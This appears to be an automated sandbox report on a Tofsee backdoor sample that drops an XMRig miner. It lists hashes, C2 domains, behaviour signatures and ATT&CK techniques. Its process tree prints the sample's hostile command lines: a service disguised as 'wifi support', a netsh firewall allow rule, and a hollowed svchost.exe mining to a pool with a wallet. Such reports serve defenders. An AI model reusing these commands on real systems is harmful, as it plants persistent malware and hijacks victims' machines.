Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-05-2023 11:33

General

  • Target

    file.exe

  • Size

    268KB

  • MD5

    9b30c442d1e5f79e00beb59519f49bf1

  • SHA1

    e3f97e75276ba3b4756275bc1796396369b07b68

  • SHA256

    c30132d930b44ed9f7cbb78be47c9c3fb0bd0d34c3e0548304802c7c617cd185

  • SHA512

    931b892d036c75da6b8a7aeeb282e21d7715c52a2ab3a5636e38ddffadcb9be1261a26c7ae4407964d29c7caac526ec963fcc75cb3b76bf21ff3fb41b3dee931

  • SSDEEP

    3072:JoB1eK1AKuLq7ITFIiAq4pe5/kdg82Pd+YzF+UFOFQh91ESuPjco5E5WqFmcJObK:GB1IKuLiITpAqHFo0+oOFO7BI5qFBSw

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kzcuwvza\
      2⤵
        PID:3404
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sietogem.exe" C:\Windows\SysWOW64\kzcuwvza\
        2⤵
          PID:1388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kzcuwvza binPath= "C:\Windows\SysWOW64\kzcuwvza\sietogem.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kzcuwvza "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kzcuwvza
          2⤵
          • Launches sc.exe
          PID:4704
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:668
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 1160
          2⤵
          • Program crash
          PID:1168
      • C:\Windows\SysWOW64\kzcuwvza\sietogem.exe
        C:\Windows\SysWOW64\kzcuwvza\sietogem.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1668
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1944
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4356
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1668 -s 512
          2⤵
          • Program crash
          PID:2180
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 4400 -ip 4400
        1⤵
          PID:2352
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1668 -ip 1668
          1⤵
            PID:1068

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\sietogem.exe
            Filesize

            11.5MB

            MD5

            602f62e4f073ca83e3ebbcf2d1a5a412

            SHA1

            cccc8f766b7ca2b88945c1d9085b91b17f5d92bc

            SHA256

            1b667463b21d13cd890eaa64a8f239af5ced5beffd391ffd8e697c268ade5977

            SHA512

            b44d4af04eb24bf87a364f0dbd07405d52216d543faa7ce746363d3fc514c2fcd777cf7649d4bc9dc1c6a82a43b7ffc9284506c0f6b3636f869006268557e719

          • C:\Windows\SysWOW64\kzcuwvza\sietogem.exe
            Filesize

            11.5MB

            MD5

            602f62e4f073ca83e3ebbcf2d1a5a412

            SHA1

            cccc8f766b7ca2b88945c1d9085b91b17f5d92bc

            SHA256

            1b667463b21d13cd890eaa64a8f239af5ced5beffd391ffd8e697c268ade5977

            SHA512

            b44d4af04eb24bf87a364f0dbd07405d52216d543faa7ce746363d3fc514c2fcd777cf7649d4bc9dc1c6a82a43b7ffc9284506c0f6b3636f869006268557e719

          • memory/1668-143-0x0000000000400000-0x0000000000908000-memory.dmp
            Filesize

            5.0MB

          • memory/1944-167-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1944-139-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/1944-168-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-145-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/1944-171-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-148-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/1944-169-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1944-153-0x00000000023E0000-0x00000000023E6000-memory.dmp
            Filesize

            24KB

          • memory/1944-156-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-159-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-160-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-161-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-163-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-164-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-162-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-165-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-166-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-184-0x00000000031E0000-0x00000000031E7000-memory.dmp
            Filesize

            28KB

          • memory/1944-144-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/1944-183-0x0000000007C40000-0x000000000804B000-memory.dmp
            Filesize

            4.0MB

          • memory/1944-146-0x00000000010B0000-0x00000000010C5000-memory.dmp
            Filesize

            84KB

          • memory/1944-172-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-170-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-174-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-173-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-175-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1944-176-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/1944-179-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/1944-180-0x0000000007C40000-0x000000000804B000-memory.dmp
            Filesize

            4.0MB

          • memory/4356-188-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4356-193-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4356-194-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4356-195-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4356-196-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4356-197-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4356-198-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4356-199-0x0000000000AB0000-0x0000000000BA1000-memory.dmp
            Filesize

            964KB

          • memory/4400-142-0x0000000000400000-0x0000000000908000-memory.dmp
            Filesize

            5.0MB

          • memory/4400-135-0x0000000002510000-0x0000000002523000-memory.dmp
            Filesize

            76KB